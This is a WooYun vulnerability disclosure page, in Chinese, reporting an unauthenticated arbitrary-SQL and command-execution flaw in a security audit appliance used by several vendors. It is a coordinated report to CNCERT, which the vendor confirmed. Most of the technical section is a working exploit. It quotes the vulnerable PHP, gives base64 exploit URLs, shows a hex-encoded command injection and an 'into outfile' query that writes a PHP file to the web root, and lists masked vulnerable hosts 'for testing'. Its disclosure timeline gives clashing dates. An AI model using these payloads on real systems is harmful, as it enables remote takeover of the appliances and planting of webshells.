当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2016-173458

漏洞标题: 某安全管理(审计)系统两处任意SQL执行&命令执行(无需登录涉及网神&网御星云等众多安全厂商)

相关厂商: cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间: 2016-01-29 11:00

公开时间: 2016-01-28 17:30

漏洞类型: 命令执行

危害等级: 高

自评Rank: 15

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 mysql权限设置不当

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-29: 细节已通知厂商并且等待厂商处理中
2016-02-02: 厂商已经确认,细节仅向厂商公开
2016-02-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-28: 细节向核心白帽子及相关领域专家公开
2016-04-07: 细节向普通白帽子公开
2016-04-17: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

某安全管理(审计)系统两处任意SQL执行&命令执行(无需登录涉及网神&网御星云等众多安全厂商)

详细说明:

依然影响多个大安全厂商的”安全“产品,存在漏洞的文件为:

code 区域
/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=base64_encode(SQL语句)
/importexport.php?tab=tb_QQLog&type=exportexcelbysql&sql=base64_encode(SQL语句)



同时,importhtml.php文件还存在命令执行漏洞,该文件的代码为

code 区域
if(isset($_GET['type'])) $get_type = $_GET['type'];
if(isset($_GET['tab'])) $get_tab = $_GET['tab'];
if(isset($_GET['sql'])) $get_sql = $_GET['sql'];

if($get_type == "exporthtmlpost") {
$get_tab = $arr_export_cn[$get_tab];
exportHtml("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlchat") {
$get_tab = $arr_export_cn[$get_tab];
exportHtmlChat("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlmail") {
$get_tab = $arr_export_cn[$get_tab];
exportHtmlMail("$get_tab",stripslashes(base64_decode($get_sql)));
}



当type=exporthtmlmail时,进入了exportHtmlMail函数,跟进

code 区域
function exportHtmlMail($filename,$sql){
Header( "Expires: 0" );
Header( "Pragma: public" );
Header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
Header( "Cache-Control: public");
Header( "Content-Type: application/octet-stream" );
header("Accept-Ranges: bytes");
header("Content-Disposition: attachment; filename=$filename.html");
echo "<html>\n";
echo "<head><title>报表</title></head>\n";
echo "<body>\n";
$conn = connOther();
$result = mysql_query($sql,$conn);
while ($data= mysql_fetch_array($result)){
$post_content = "";
if($data['mail_file_path'] == "(null)"){
$post_content = "<font color=red>内容审计未启用</font>";
}
else{

$post_filename=$data['mail_file_path'];
$ifother = "";
$ifother = ifExistOther($post_filename);
if($ifother!=""){
$post_filename = $ifother;
}
$str = "/usr/bin/cap2con $post_filename pop";
system($str,$returnvalue);
$post_filename=str_replace(".cap",".eml",$post_filename);
$post_content = file_get_contents($post_filename);
$rec=new mime_decode;
$post_content=$rec->decode_mime_string($post_content);
//...
}
}
}



可以看到sql查询出来的mail_file_path进入了system函数造成了命令执行,这里由于是

任意SQL执行,那么我们可以这样执行sql语句:

code 区域
select 0x787C7C6966636F6E6669673E2F746D702F787878787C7C79 as mail_file_path
(0x787C7C6966636F6E6669673E2F746D702F787878787C7C79 为要执行的命令)



这样我们提交:

code 区域
/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4Nzg3QzdDNjk2NjYzNkY2RTY2Njk2NzNFMkY3NDZENzAyRjc4Nzg3ODc4N0M3Qzc5IGFzIG1haWxfZmlsZV9wYXRo



即可执行我们输入的命令,由于这里执行命令权限比较低,mysql是root权限,可以写shell,这里还是演示执行任意sql语句作漏洞证明

这里以写文件为例子:

code 区域
select 0x4749463839613C3F70687020706870696E666F28293B3F3E into outfile '/usr/hddocs/nsg/app/wooyun.php'



base64加密处理一下:

code 区域
c2VsZWN0IDB4NDc0OTQ2MzgzOTYxM0MzRjcwNjg3MDIwNzA2ODcwNjk2RTY2NkYyODI5M0IzRjNFIGludG8gb3V0ZmlsZSAnL3Vzci9oZGRvY3MvbnNnL2FwcC93b295dW4ucGhwJw==



最后我们的exp就为:

code 区域
/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4NDc0OTQ2MzgzOTYxM0MzRjcwNjg3MDIwNzA2ODcwNjk2RTY2NkYyODI5M0IzRjNFIGludG8gb3V0ZmlsZSAnL3Vzci9oZGRvY3MvbnNnL2FwcC93b295dW4ucGhwJw==

/importexport.php?tab=tb_QQLog&type=exportexcelbysql&sql=c2VsZWN0IDB4NDc0OTQ2MzgzOTYxM0MzRjcwNjg3MDIwNzA2ODcwNjk2RTY2NkYyODI5M0IzRjNFIGludG8gb3V0ZmlsZSAnL3Vzci9oZGRvY3MvbnNnL2FwcC93b295dW4ucGhwJw==

漏洞证明:

0x1 **.**.**.**:8443/ (网神安全审计系统)

code 区域
**.**.**.**:8443/app/wooyun.php



1.png



0x2 **.**.**.**:8443/ (网神安全审计系统)

code 区域
**.**.**.**:8443/app/wooyun.php



2.png



0x3 **.**.**.**:8443/(网御上网行为管理系统)

code 区域
**.**.**.**:8443//app/wooyun.php



3.png



其他均存在漏洞,这里就不再演示,提供案例进行测试:

code 区域
网神
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/

网御
**.**.**.**:8443/
https://**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
https://**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
https://**.**.**.**:8443/
https://**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/
**.**.**.**:8443/

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2016-02-02 14:47

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录